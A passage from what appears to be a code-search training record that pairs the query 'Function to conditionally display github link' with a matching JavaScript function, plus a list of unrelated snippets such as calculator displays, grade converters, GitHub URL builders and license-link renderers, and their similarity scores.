'FWS';\n break;\n default:\n return 'null';\n break;\n }\n}", "lastNumberToDisplay() {\n let lastNumber = this.getLastItem(false);\n\n if (!lastNumber) lastNumber = 0;\n this.displayCalc = lastNumber;\n }", "function getTypeClient() {\n let str = \"\";\n let ca = Math.round(Number(document.getElementById(\"ca\").value));\n if (ca > 0) {\n if (ca <= 200)\n str = \"Petit client\";\n else if (ca > 201 && ca <= 2000)\n str = \"Client\";\n else if (ca >= 2001 && ca <= 10000)\n str = \"Client à potentiel\";\n else if (ca > 10000)\n str = \"Grand compte\";\n } else(str = \"Client falimentaire ...\");\n\n document.getElementById(\"typeclient\").innerHTML = str;\n}", "function f31() {\r\n\t\tif (Oil_Difference >= 20) //V20=-709.09\r\n\t\t{\r\n\t\t\treturn{\r\n\t\t\t\t\"innerHTML\":\"Extract Stage 2.Emergency.\",\r\n\t\t\t\t\"className\":\"text-danger\"\r\n\t\t\t};\r\n\t\t} else if ((Oil_Difference < 20) && (Oil_Difference >= 15)) //V15=-531.82\r\n\t\t{\r\n\t\t\treturn{\r\n\t\t\t\t\"innerHTML\":\"Extract Stage 1.Inspection.\",\r\n\t\t\t\t\"className\":\"text-warning\"\r\n\t\t\t};\r\n\t\t} else if ((Oil_Difference < 1) && (Oil_Difference >= -10)) //V1=35.45\r\n\t\t{\r\n\t\t\treturn{\r\n\t\t\t\t\"innerHTML\":\"Refill Stage 1.Inspection.\",\r\n\t\t\t\t\"className\":\"text-warning\"\r\n\t\t\t};\r\n\t\t} else if (Oil_Difference < -10) //V10=354.55\r\n\t\t{\r\n\t\t\treturn{\r\n\t\t\t\t\"innerHTML\":\"Refill Stage 2.Emergency.\",\r\n\t\t\t\t\"className\":\"text-danger\"\r\n\t\t\t};\r\n\t\t} else if ((Oil_Difference < 15) && (Oil_Difference >= 1)) //between 0 and 15\r\n\t\t{\r\n\t\t\treturn{\r\n\t\t\t\t\"innerHTML\":\"Normal.\",\r\n\t\t\t\t\"className\":\"text-success\"\r\n\t\t\t};\r\n\t\t}\r\n\t}", "function displayF (item)\n\t{\n\t\tlet display = document.querySelector(\"span\");\n\t\tdisplay.textContent = Number(item);\n\t}", "function humanizeNumber(num) {\n    if (typeof num == \"undefined\") {\n        return;\n    } else if (num % 100 >= 11 && num % 100 <= 13) {\n        return num + \"th\";\n    }\n\n    switch (num % 10) {\n        case 1:\n            return num + \"st\";\n        case 2:\n            return num + \"nd\";\n        case 3:\n            return num + \"rd\";\n    }\n    return num + \"th\";\n}", "function displayDigit(digit, number) {\n $(digit).find('.lit').removeClass('lit');\n digitDisplaySegments[number].forEach(function (segment) {\n $(digit).find('.' + segment).addClass('lit');\n });\n}", "formateraPris(num) {\n return num.toString().replace(/(\\d)(?=(\\d{3})+(?!\\d))/g, '$1 ')\n }", "function displayNumber() {\n//allowSecondClick();\ncheckIfZero();\nforbidSecondComma();\ncalcDisplayBottom.innerHTML += this.innerHTML;\n}", "function calcularNota(nota , nombre) {\n let notaLetra = '';\n\n if (nota >= 90 && nota <= 100) {\n notaLetra = 'A';\n }else if (nota >= 80 && nota <= 89) {\n notaLetra = 'B';\n }else if (nota >= 70 && nota <= 79) {\n notaLetra = 'C';\n }else if (nota >= 60 && nota <= 69) {\n notaLetra = 'D';\n }else if (nota < 60) {\n notaLetra = 'F';\n }else{\n \n }\n \n console.log('La nota del estudiante: ' + nombre +' es igual a: ' + nota + ' equivalente a: ' + notaLetra); \n}", "function displayOcc(occupation) {\r\n if (occupation == \"Banker\") {\r\n document.getElementById(\"info1\").innerHTML = \"<p>Banker has the most starting money in the game but you get least amount of points playing him.</p>\";\r\n supplies[MONEY] = 1600.00;\r\n\t\t\r\n\t\tdocument.getElementById(\"info2\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info3\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info4\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info5\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info6\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info7\").innerHTML =\"\";\r\n }\r\n else if (occupation == \"Carpenter\") {\r\n document.getElementById(\"info2\").innerHTML = \"<p>The Carpenter starts with an average amount of money, but get more points than the banker.</p>\";\r\n supplies[MONEY] = 800.00;\r\n\t\t\r\n\t\tdocument.getElementById(\"info1\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info3\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info4\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info5\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info6\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info7\").innerHTML =\"\";\r\n }\r\n else if (occupation == \"Farmer\") {\r\n document.getElementById(\"info3\").innerHTML = \"<p>You get little starting money, but 3 times as many points as the farmer.</p>\";\r\n supplies[MONEY] = 400.00;\r\n\t\t\r\n\t\tdocument.getElementById(\"info1\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info2\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info4\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info5\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info6\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info7\").innerHTML =\"\";\r\n }\r\n else if (occupation == \"Fisher\") {\r\n document.getElementById(\"info4\").innerHTML = \"<p>You start with an average amount of money but get a better reward when fishing.</p>\";\r\n supplies[MONEY] = 600.00;\r\n\t\t\r\n\t\tdocument.getElementById(\"info1\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info2\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info3\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info5\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info6\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info7\").innerHTML =\"\";\r\n }\r\n else if (occupation == \"Cowboy\") {\r\n document.getElementById(\"info5\").innerHTML = \"<p>The cowboy starts with a below average amount of money, but knows how to take care of it's cattle.</p>\";\r\n supplies[MONEY] = 600.00;\r\n\t\t\r\n\t\tdocument.getElementById(\"info1\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info2\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info3\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info4\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info6\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info7\").innerHTML =\"\";\r\n }\r\n else if (occupation == \"Merchant\") {\r\n document.getElementById(\"info6\").innerHTML = \"<p>The Merchant starts with a below average amount of money, but gets better deals when trading.</p>\";\r\n supplies[MONEY] = 600.00;\r\n\t\t\r\n\t\tdocument.getElementById(\"info1\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info2\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info3\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info4\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info5\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info7\").innerHTML =\"\";\r\n }\r\n else if (occupation == \"Batman\") {\r\n document.getElementById(\"info7\").innerHTML = \"<p>You're Batman! You have TONS of money obviously, but you don't get to brag about your score when you complete the game.</p>\";\r\n supplies[MONEY] = 99999.00;\r\n\t\t\r\n\t\tdocument.getElementById(\"info1\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info2\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info3\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info4\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info5\").innerHTML =\"\";\r\n\t\tdocument.getElementById(\"info6\").innerHTML =\"\";\r\n }\r\n job = occupation;\r\n document.getElementById(\"CharNames\").setAttribute(\"onclick\", \"getLeaderName()\");\r\n}" ]
[ "0.6303637", "0.62774193", "0.62774193", "0.6011769", "0.6011769", "0.59581363", "0.5807605", "0.5781148", "0.56341565", "0.5626605", "0.5615796", "0.55988145", "0.5590253", "0.5590089", "0.55744964", "0.5546996", "0.5513979", "0.54900706", "0.54288006", "0.5427741", "0.5420562", "0.53974086", "0.5397189", "0.5393555", "0.53920716", "0.5387666", "0.5387417", "0.53587323", "0.5339032", "0.5302873", "0.52816296", "0.52615386", "0.5257668", "0.52561814", "0.52483594", "0.5240868", "0.5233228", "0.5228631", "0.5215746", "0.52141607", "0.52028966", "0.5182998", "0.5182081", "0.51795715", "0.517165", "0.5155085", "0.51451004", "0.5141893", "0.5138942", "0.5129589", "0.512689", "0.51266664", "0.51206326", "0.51148635", "0.51054335", "0.5091326", "0.50531733", "0.50498414", "0.5045747", "0.50452316", "0.50400007", "0.5037749", "0.50372094", "0.5033358", "0.5032552", "0.5032552", "0.5030456", "0.50278443", "0.5015889", "0.50073373", "0.5001568", "0.5001418", "0.49910685", "0.4986066", "0.4982666", "0.49811882", "0.4968633", "0.49614668", "0.49593583", "0.49550056", "0.49530545", "0.49495968", "0.49473488", "0.49456444", "0.49454755", "0.4940242", "0.493801", "0.49340853", "0.49316934", "0.49303567", "0.49258268", "0.49243402", "0.49232867", "0.49161977", "0.4911036", "0.49094424", "0.49059078", "0.49040225", "0.48920086", "0.4882637" ]
0.7251073
0
Function to conditionally display github link
function displayGithub(github) { return ` <li class="list-group-item p-4"><span class="text-muted text-decoration-none">Github: </span><a href="https://github.com/${github}">${github}</a></li> ` }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function createGithubURL(data) {\n var url = 'not found...';\n if (data['user'] != '' && data['repo'] != '') {\n url = \"https://github.com/\" + data['user'] + \"/\" + data['repo'] \n url += \"/blob/master/\" + createGithubPath(data);\n } else if (data['name'] != '') {\n url = \"https://gist.github.com/\" + data['name'];\n }\n return url\n }", "function createGithubURL(data) {\n var url = 'not found...';\n if (data['user'] != '' && data['repo'] != '') {\n url = \"https://github.com/\" + data['user'] + \"/\" + data['repo'];\n url += \"/blob/master/\" + createGithubPath(data);\n }\n else if (data['name'] != '') {\n url = \"https://gist.github.com/\" + data['name'];\n }\n return url;\n }", "function createGithubURL(data) {\n var url = 'not found...';\n if (data['user'] != '' && data['repo'] != '') {\n url = \"https://github.com/\" + data['user'] + \"/\" + data['repo'];\n url += \"/blob/master/\" + createGithubPath(data);\n }\n else if (data['name'] != '') {\n url = \"https://gist.github.com/\" + data['name'];\n }\n return url;\n }", "setRepositoryLink() {\n if (localStorage.getItem('cardsState')) {\n return JSON.parse(localStorage.getItem('cardsState')).user;\n } else {\n return 'https://github.com/polevoyd/to-know-content';\n }\n }", "function showLink(path) {\n var element = $(GITHUB_URL);\n element.attr('href', path);\n element.show();\n }", "get githubURL() {\n return 'https://www.github.com/' + this.username;\n }", "url(info) {\n let path = this.pathname(info);\n path = path.replace(/\\.git$/, '');\n return `https://github.com/${path}`;\n }", "function giveCredit(creditNames){\n if (creditNames==true){\n return \"https://github.com/\"+creditNames;\n }else{ return '';\n }\n \n}", "function github2 (repository) {\n if (/^[a-z0-9-_]+\\/[a-z0-9-_]+$/i.test(repository)) {\n return 'https://github.com/' + repository\n } else {\n return github({ repository })\n }\n}", "getProjectUrlElement () {\n const url = this.props.url;\n if (!url) {\n return null;\n }\n\n if (!url.urlTarget) {\n return <p>{url.urlDisplay}</p>;\n }\n\n return <p><a href={url.urlTarget} target=\"_blank\">{url.urlDisplay}</a></p>;\n }", "function modifyGitHubLink(link) {\n return link.replace(/rolling-scopes-school\\//, '').replace(/-2018Q3\\/?/, '').toLowerCase();\n}", "function gh_edit_link(page) {\r\n let p = page || this.page;\r\n let o = gh_opts(p);\r\n var user = o.user;\r\n var name = o.repo;\r\n var path = o.path || 'README.md';\r\n var ref = o.ref || 'master';\r\n return util.format('https://github.com/%s/%s/edit/%s/%s', user, name, ref, path);\r\n}", "_showGitHubPage() {\n window.open('https://github.com/chromeos/pwa-play-billing', '_blank');\n }", "goToGithub() {\n window.location.href = \"https://github.com/kandrupr\"\n }", "function constructGithubUrl(userProject,tag) {\n\n var url = \"\";\n if(tag) {\n url = \"https://github.com/\" + userProject + \"/zipball/\" + tag;\n } else {\n url = \"https://github.com/\" + userProject + \"/zipball/master\";\n }\n return url;\n\n}", "function linkshare() {\r\n fx('pageUrl').fadeIn(250);\r\n fx('bg2').fadeIn(500);\r\n if (!channel.id || !location.hash.split('#!/')[1])changeText(doc.q('#pageUrl input'),'https://youcount.github.io/');\r\n}", "function gitUrl(config) {\n return (config.auth.type === 'ssh' ? sshUrl : httpUrl)(config)\n}", "formatPreviewLink() {\n if (this.props.book.previewLink) {\n return (\n <a\n href={this.props.book.previewLink}\n aria-label={`Preview ${this.props.book.title} at Google Books`}\n className=\"book-link book-link-preview\">\n <img\n className=\"book-link-preview\"\n src={`${process.env.PUBLIC_URL + '/images/google-books-preview.png'}`}\n alt={`Preview ${this.props.book.title} at Google Books`}\n />\n </a>\n );\n }\n }", "function render_url(text) {\n if (text.includes(\"http\")) {\n return \"<a href=\\\"\" + text + \"\\\" target=\\\"_blank\\\">Buy Here</a>\";\n } else {\n return text;\n }\n }", "function githubIconClick() {\n\twindow.open('https://github.com/mjdargen', '_blank');\n}", "function social(data){\n if(data.social.linkedin == \"\")\n document.getElementById(\"linkedin\").style.display = \"none\";\n else\n document.getElementById(\"linkedin\").href = data.social.linkedin;\n if(data.social.github == \"\")\n document.getElementById(\"github\").style.display = \"none\";\n else\n document.getElementById(\"github\").href = data.social.github;\n if(data.social.twitter == \"\")\n document.getElementById(\"twitter\").style.display = \"none\";\n else\n document.getElementById(\"twitter\").href = data.social.twitter;\n if(data.social.facebook == \"\")\n document.getElementById(\"facebook\").style.display = \"none\";\n else\n document.getElementById(\"facebook\").href = data.social.facebook;\n}", "function toGithub() {\n window.open(\"https://github.com/TrondSpjelkavik\");\n }", "function externalLink(service, link, linkName) {\n console.log(service + link + linkName);\n if (link !== null && link !== \"\") {\n return `<a href=\"${service}${link}\">${linkName}</a>`;\n } else {\n return \"\";\n }\n}", "function isGitHubApiUrl(url) {\n var checked = url && url.indexOf(gitHubApiUrlRoot) === 0;\n return checked;\n }", "function drawLink(editor) {\n\t\tvar cm = editor.codemirror;\n\t\tvar stat = getState(cm);\n\t\tvar options = editor.options;\n\t\tvar url = \"http://\";\n\t\tif(options.promptURLs) {\n\t\t\turl = prompt(options.promptTexts.link);\n\t\t\tif(!url) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t_replaceSelection(cm, stat.link, options.insertTexts.link, url);\n\t}", "function drawLink(editor) {\n\t\t\tvar cm = editor.codemirror;\n\t\t\tvar stat = getState(cm);\n\t\t\tvar options = editor.options;\n\t\t\tvar url = \"http://\";\n\t\t\tif(options.promptURLs) {\n\t\t\t\turl = prompt(options.promptTexts.link);\n\t\t\t\tif(!url) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t_replaceSelection(cm, stat.link, options.insertTexts.link, url);\n\t\t}", "hasEntry() {\n let html = '';\n if (this.state.entry_id) {\n html = <div className=\"entryDesc headerText greenColor\">\n <Link onClick={() => this.props.history.push(`/entry/${this.state.entry_id}`)} to={`/entry/${this.state.entry_id}`}>This question has an entry<div><img src={approval} /></div></Link>\n </div>\n } \n \n return html;\n }", "function renderLicenseLink(license) {\n if (license === \"none\" ) {\n return \"\";\n}\nelse if (license === \"MIT\") {\n return \"(https://opensource.org/licenses/MIT)\"\n \n}\nelse if (license === \"Apache\") {\n return \"(https://opensource.org/licenses/Apache-2.0)\"\n}\n}", "function renderGithubLinks(students) {\n\tstudents.forEach(function (student) {\n\t\tvar anchors = buildGithubLink(student);\n\t\t$('body').append(anchors);\n\n\t});\n}", "function drawLink(editor) {\n\tvar cm = editor.codemirror;\n\tvar stat = getState(cm);\n\tvar options = editor.options;\n\tvar url = \"http://\";\n\tif(options.promptURLs) {\n\t\turl = prompt(options.promptTexts.link);\n\t\tif(!url) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t_replaceSelection(cm, stat.link, options.insertTexts.link, url);\n}", "function drawLink(editor) {\n\tvar cm = editor.codemirror;\n\tvar stat = getState(cm);\n\tvar options = editor.options;\n\tvar url = \"http://\";\n\tif(options.promptURLs) {\n\t\turl = prompt(options.promptTexts.link);\n\t\tif(!url) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t_replaceSelection(cm, stat.link, options.insertTexts.link, url);\n}", "function drawLink(editor) {\n\tvar cm = editor.codemirror;\n\tvar stat = getState(cm);\n\tvar options = editor.options;\n\tvar url = \"http://\";\n\tif(options.promptURLs) {\n\t\turl = prompt(options.promptTexts.link);\n\t\tif(!url) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t_replaceSelection(cm, stat.link, options.insertTexts.link, url);\n}", "pullRequestToLink(prNumber) {\n const url = `https://github.com/${this.data.github.owner}/${this.data.github.name}/pull/${prNumber}`;\n return `[#${prNumber}](${url})`;\n }", "function renderLicenseLink(license) {\n return license.link ? `${license.link}` : \"\";\n}", "function buildUrl(name) {\n return \"https://api.github.com/users/\"+name;\n }", "function renderLicenseLink(license) {\n if(license == none){\n return \" \"\n }\n else if(license == MIT){\n `https://opensource.org/licenses/MIT`\n }\n else if(license == Apache)\n {\n `https://opensource.org/licenses/Apache-2.0`\n }\n else if(license == GPL3)\n {\n `https://opensource.org/licenses/GPL-3.0`\n }\n else{\n return \"\";\n }\n}", "formatBuyLink() {\n if (this.props.book.infoLink) {\n return (\n <a\n href={this.props.book.infoLink}\n aria-label={`Buy ${this.props.book.title} from Google Play Store`}\n className=\"book-link book-link-buy\">\n <img\n className=\"book-link-buy\"\n src={`${process.env.PUBLIC_URL + '/images/google-play-badge.png'}`}\n alt={`Buy ${this.props.book.title} from Google Play Store`}\n />\n </a>\n );\n }\n }", "function githubAuthLink(data) {\n const params = new URLSearchParams();\n params.append('client_id', GITHUB_CLIENT_ID);\n params.append('scope', 'user:email');\n params.append('redirect_uri', `${APP_URL}/login/github?${data || ''}`);\n return `https://github.com/login/oauth/authorize?${params}`;\n}", "function isGithubUrl(url) {\n return url ? githubPatterns.some(pattern => !!url.match(pattern)) : false;\n}", "function githublink (type, file) {\n\tbase = 'https://github.com/qojulia/QuantumOptics.jl-benchmarks/blob/master/benchmarks-';\n\t\n\tswitch (type) {\n\t\tcase qojl_data:\n\t\t\tlink = 'QuantumOptics.jl/'+file+'.jl';\n\t\t\tbreak;\n\t\tcase qutip_data:\n\t\t\tlink = 'QuTiP/'+file+'.py';\n\t\t\tbreak;\n\t\tcase qutipcython_data:\n\t\t\tlink = 'QuTiP/'+file+'_cython.py';\n\t\t\tbreak;\n\t\tcase toolbox_data:\n\t\t\tlink = 'QuantumOpticsToolbox/bench_'+file+'.m';\n\t\t\tbreak;\n\t}\n\t\n\treturn base + link;\n}", "function showLink(value){\n\t\t\tif(value == 'ok'){\n\t\t\t\tif(KCI.util.Config.getHybrid() == true){\n\t\t\t\t\tif(KCI.app.getApplication().getController('Hybrid').cordovaCheck() == true){\n\t\t\t\t\t\t//hybrid childbrowser function\n\t\t\t\t\t\tKCI.app.getApplication().getController('Hybrid').doShowLink(button.getUrl());\n\t\t\t\t\t\t\n\t\t\t\t\t\t//Google Analytics Tracking\n\t\t\t\t\t\tKCI.app.getApplication().getController('Hybrid').doTrackEvent('Link','View',button.getText());\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tKCI.app.getApplication().getController('Main').doShowExternal(button.getUrl());\n\t\t\t\t\t\n\t\t\t\t\t//Google Analytics Tracking\n\t\t\t\t\tKCI.app.getApplication().getController('Main').doTrackEvent('Link','View',button.getText());\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t}", "function drawLink(editor) {\n var cm = editor.codemirror;\n var stat = getState(cm);\n var options = editor.options;\n var url = 'https://';\n if (options.promptURLs) {\n url = prompt(options.promptTexts.link, 'https://');\n if (!url) {\n return false;\n }\n }\n _replaceSelection(cm, stat.link, options.insertTexts.link, url);\n}", "refineURL(props){\n\t\tvar bodyPropInput = this.props.bodyProp\n\t\tvar baseurl = \"https://api.github.com/repos/ErikaVasNormandy/\"\n\t\tvar extractedurlarray = bodyPropInput.split(\"/\")\n\t\tvar readmeurl = baseurl + extractedurlarray[extractedurlarray.length -1 ] + \"/readme\"\n\t\treturn(readmeurl)\n\t}", "function renderLicenseLink(license) {\n if (license === 'GNU General Public License v3.0') {\n return 'https://www.gnu.org/licenses/gpl-3.0.en.html';\n\n } else if (license === 'Apache 2.0') {\n return 'https://http://www.apache.org/licenses/LICENSE-2.0';\n\n } else if (license === 'MIT') {\n return 'https://opensource.org/licenses/MIT' \n\n } else {\n return \"https://opensource.org/licenses/MIT\";\n }\n\n// A function that returns the license section of README\n// If there is no license, return an empty string\n// function renderLicenseSection(license) {\n// return `Project is Licensed Under [${license}](${renderLicenseLink\n// (license)})`;\n// }\n}", "function renderDemo(demoLink) {\n\n if (!demoLink) {\n return \"\";\n } else {\n\n return `\n ### Demo \n ![Demo](${demoLink})\n `\n}\n}", "function renderLicenseLink(license) {\n let licenseLink;\n if(license === \"None\"){\n licenseLink=\"\";\n }\n else{\n licenseLink= \" * [License](#license)\"\n };\n return licenseLink;\n}", "generateLink() {\n return `\n <a href='https://en.wikipedia.org/wiki/${encodeURI(this.options[0])}' property='rdf:seeAlso'>\n ${this.options[0]}\n </a>&nbsp;\n `;\n }", "function isAvailableView(){\n\treturn !!document.querySelector(\"head meta[value=repo_source]\") && resolveUrl(window.location.href) !== false;\n}", "function renderLicenseLink(license) {return !license ? '' : `[![license](https://choosealicense.com/licenses/${license})`}", "function formatLink(text, link, rel, isImg) {\n if (typeof isImg === 'undefined') {\n isImg = false;\n }\n if (typeof rel === 'undefined') {\n rel = false;\n }\n var lnk = '';\n if (prg.markdown) {\n if (isImg) {\n lnk = \"!\";\n }\n lnk += \"[\" + text + \"](\" + link + \")\";\n } else if (prg.json) {\n lnk = {\"text\": text, \"link\": link, \"isImg\": isImg, \"rel\": rel};\n } else {\n lnk = text + \"\\t\" + link;\n }\n return lnk;\n}", "render() {\n const {\n hash,\n projects\n } = this.props;\n let proj = projects.find(p => p.get('hash') === hash);\n let link = `${location.protocol}//${location.hostname}${location.port ? ':' + location.port : ''}#/projects/${hash}`;\n return (\n <div className=\"project-info\">\n <h1>{ proj.get('name') }</h1>\n <div>Link: <a href={link} target=\"_blank\"> {link}</a></div>\n <div>Created: { (new Date(proj.get('createdAt'))).toLocaleString() }</div>\n </div>\n );\n }", "function getArticleOriginalSourceOptionalURL(articleData) {\n if (articleData.original_source_url != null && articleData.original_source_url != \"\") {\n return \"<a id='articleOriginalSourceURL' href='\"+articleData.original_source_url+\"'><i class='fa fa-external-link'> \" + LABEL_SHOW_ARTICLE_SOURCE + \" </i></a>\";\n }\n return \"\";\n}", "function _getRepositoryURL(data) {\n var result = false;\n // Si le champs repository est une string\n if (_.isString(data.repository) && !_.isEmpty(data.repository)) {\n result = data.repository;\n } else if (_.isPlainObject(data.repository)) {\n data = data.repository;\n // Si le champs url existe\n // et que le champs type est egal a 'git'\n if (data.hasOwnProperty('url') && data.hasOwnProperty('type') && data.type === 'git') {\n if (_.isString(data.url) && !_.isEmpty(data.url)) {\n result = data.url;\n }\n }\n }\n return result;\n }", "displayRepo(value) {\n for (let i = 0; i < value.length; i++) {\n var repo = `<li>\n <span><a href= \"${value[i].html_url}\" target=\"_blank\">${value[i].name}</a></span>\n <span>Fork:${value[i].fork}</span>\n <span>Watchers:${value[i].watchers_count}</span>\n <span>Stars:${value[i].stargazers_count}</span>\n \n </li>`;\n userRepo.innerHTML += repo;\n }\n }", "returnGithub(){\n return this.github;\n }", "function formatCitationLink(metaData, link) {\n\t\tlet returnString = metaData[\"citation_download\"];\n\t\t//if download link found, use it. Otherwise, make an educated guess for aps\n\t\tif (metaData[\"query_summary\"][\"citation_download\"] == 1) {\n\t\t\treturnString = metaData[\"citation_url_nopath\"] + returnString + '?type=ris&download=false';\n\t\t} else if (metaData[\"query_summary\"][\"citation_download\"] == 2) {\n\t\t\treturnString = metaData[\"citation_url\"].match(/(^http[s]?:\\/\\/[^\\/]*\\/[^\\/]*\\/)[^\\/]*(.*$)/);\n\t\t\tif (returnString != null && returnString.length > 2) {\n\t\t\t\treturnString = \"\" + returnString[1] + 'export' + returnString[2] + '?type=ris&download=false';\n\t\t\t} else {\n\t\t\t\treturnString = \"\";\n\t\t\t}\n\t\t}\n\t\treturn returnString;\n\t}", "function GithubResolver() {\n return (what, ctx) => __awaiter(this, void 0, void 0, function* () {\n const fileMatchLink = what.match(BROWSER_LINK);\n if (fileMatchLink) {\n const [, owner, repo, commitAndFile] = fileMatchLink;\n const gitRawUrl = `https://raw.githubusercontent.com/${owner}/${repo}/${commitAndFile}`;\n debug(\"Resolved uri to:\", gitRawUrl);\n return gitRawUrl;\n }\n const fileMatchRemix = what.match(REMIX_GITHUB_LINK);\n if (fileMatchRemix) {\n const [, owner, repo, file] = fileMatchRemix;\n const gitRawUrl = `https://raw.githubusercontent.com/${owner}/${repo}/master/${file}`;\n debug(\"Resolved uri to:\", gitRawUrl);\n return gitRawUrl;\n }\n const fileMatchGitHostedInfo = what.match(GIT_HOSTED_INFO);\n if (fileMatchGitHostedInfo) {\n const [, url, file, comittish] = fileMatchGitHostedInfo;\n const gitInfo = hosted_git_info_1.default.fromUrl(url + (comittish || \"\"));\n if (!gitInfo) {\n return null;\n }\n const fileUrl = gitInfo.file(file);\n debug(\"Resolved uri to:\", fileUrl);\n return fileUrl;\n }\n return null;\n });\n}", "function renderLicenseLink(license) {\n switch (license) {\n case \"MIT License\":\n return \"https://img.shields.io/badge/license-MIT-green\";\n case \"Apache Licence 2.0\":\n return \"https://img.shields.io/badge/license-Apache-green\"\n case \"GNU GPLv3\":\n return \"https://img.shields.io/badge/license-GPL-green\"\n default:\n return \"\";\n }\n //https://img.shields.io/badge/license-MIT-green\n //https://img.shields.io/badge/license-Apache-green\n //https://img.shields.io/badge/license-GPL-green\n}", "function renderLicenseLink(license) {\n if(license === 'none') {\n ''\n } else {\n return `- [${license} License](#license)` \n }\n}", "commitToLink(commit) {\n const url = `https://github.com/${this.data.github.owner}/${this.data.github.name}/commit/${commit.hash}`;\n return `[${commit.shortHash}](${url})`;\n }", "function renderLicenseLink(license) {\n if (license != 'None') {\n return `* [License](#license)`\n } else {\n return `` \n }\n}", "function createLink(urlString, img, mail) {\n let projectLink = urlString !== '' ? `<a href=\"${urlString}\" target= \"_blank\"><img src=\"img/icon/${img}.png\"></a>` : '<!-- -->';\n return projectLink\n}", "function renderLicenseLink(license) {\r\n if (license !== \"none\") {\r\n return (\r\n `\\n* [license](#license)\\n`\r\n )\r\n }\r\n return ''\r\n}", "function renderLicenseLink(license) {\n switch (license){\n case 'Unlicense':\n return 'http://unlicense.org/';\n case 'MIT':\n return 'https://opensource.org/licenses/MIT';\n case 'Apache 2.0':\n return 'https://opensource.org/licenses/Apache-2.0'\n default : \n return ''\n }\n}", "function urlLink (url) {\n const escaped = escapeHTML(url)\n const shortened = escapeHTML(url.replace(/^https?:\\/\\//, ''))\n const parsed = parseURL(url)\n const logo = hostLogos.find(host => parsed.hostname === host.hostname)\n return html`\n<a href=\"${escaped}\" target=_blank>${\n logo && `<img class=logo alt=logo src=/${logo.icon}.svg>`\n}${shortened}</a>\n `\n}", "function renderLicenseLink(license) {\n if(LICENSE_DATA[license])\n return `${LICENSE_DATA[license].badge.url}`;\n return \"\";\n}", "static get description () {\n return 'Open package repository page in the browser'\n }", "function guessRepoFromUrl (url) {\n var match = url.match(/my-host\\.com[:\\/]([^\\/]+\\/[^\\/]+?)(?:\\.git)?$/);\n\n return match && match[1];\n}", "function openSource(pin, url) {\n /* Check if it points to a Tumblr submission\n * (not a search page or a blog home page!), and if it does: */\n if (url && /\\w+.tumblr.com\\/(post|image)\\/\\d+/.test(url)) {\n /* Replace /image/, which returns a raw image,\n * with /post/, which returns the whole submission with artist notes and so on */\n url = url.replace('tumblr.com/image', 'tumblr.com/post');\n /* Open it in a new tab. */\n window.open(url);\n }\n /* Check if it points to a DeviantArt submission\n * (not an artist's page or search results!), and if it does: */\n else if (url && /\\w+.tumblr.com\\/(post|image)\\/\\d+/.test(url)) {\n /* Open it in a new tab. */\n window.open(url);\n }\n /* Otherwise, query Google Image search: */\n else {\n /* Grab the thumbnail */\n const thumbUrl = pin.querySelector('img').src;\n /* Exclude Pinterest from search results */\n const query = '-site:pinterest.com';\n /* Open the search page in a new tab */\n const searchUrl = `https://www.google.com/searchbyimage?&image_url=${thumbUrl}&q=${query}`;\n window.open(searchUrl);\n }\n }", "function renderLicenseLink(license) {\n if(license === \"none\"){\n return \"\"\n \n }\n else {\n return \"* [Licenses](#Licenses)\"\n }\n}", "function branchHyperlink(ix){\n var br = tx.rowinfo[ix].br\n var dest = tx.baseUrl + \"/timeline?r=\" + encodeURIComponent(br)\n dest += tx.fileDiff ? \"&m&cf=\" : \"&m&c=\"\n dest += encodeURIComponent(tx.rowinfo[ix].h)\n return dest\n }", "function renderLicenseLink(license) {\n if (license === \"None\") {\n return \"\";\n }\n return \"* [License](#license)\";\n}", "function renderLicenseLink(license) {\n if (license === \"N/A\") {\n return \"\";\n }\nif (license === \"MIT\") {\n return `[https://opensource.org/licenses/MIT]`;\n} else if (license === \"Apache 2.0\") {\n return `[https://www.apache.org/licenses/LICENSE-2.0]`;\n} else if (license === \"GNU\") {\n return `[[https://www.gnu.org/licenses/gpl-3.0.en.html]`;\n} else if (license === \"ISC\") {\n return `[https://www.isc.org/licenses/]`;\n} else if (license === \"IBM\") {\n return `[https://opensource.org/licenses/IPL-1.0]`;\n}\n}", "function getRepositoryGitUrl(config, 